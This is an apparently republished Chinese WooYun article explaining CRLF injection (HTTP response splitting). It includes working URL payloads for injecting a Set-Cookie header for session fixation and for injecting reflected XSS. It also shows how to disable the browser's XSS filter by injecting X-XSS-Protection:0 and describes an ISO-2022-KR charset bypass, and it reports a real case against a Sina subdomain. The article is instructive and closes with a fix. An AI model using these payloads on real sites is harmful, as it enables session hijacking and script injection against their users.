17

CRLF Injection漏洞的利用与实例分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CRLF Injection漏洞的利用与实例分析

0x00 背景


CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。

对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。

0x01 实例


举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

所以一个正常的302跳转包是这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn

但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样: 

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:
<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。

为什么说是无视浏览器filter的,这里涉及到另一个问题。

浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。

怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。

所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。


我们来一个真实案例吧。 新浪某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试

http://xxx.sina.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:

2014062816583715642.jpg

那么我们试试XSS看看:

2014062816585822978.jpg

看控制台,果然被XSS Filter拦截了。

那么我们就注入一个

X-XSS-Protection:0

到数据包中,看看什么效果:

2014062816593849016.jpg

@mramydnei 还想到了一个利用字符编码来绕过XSS Filter的方法,当编码是is-2022-kr时浏览器会忽略%0f,这样我们在onerror后面加个%0f就能绕过filter,前提是注入一个

<meta charset=ISO-2022-KR> 

2014062817010832293.jpg

当然,在Location:这里注入只有webkit内核浏览器才能够利用,其他浏览器可能会跳转、出错。不过对于chrome的使用量来说,危害已经足够了。

0x02 修复


如何修复HRS漏洞,当然是过滤\r 、\n之类的换行符,避免输入的数据污染到其他HTTP头。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK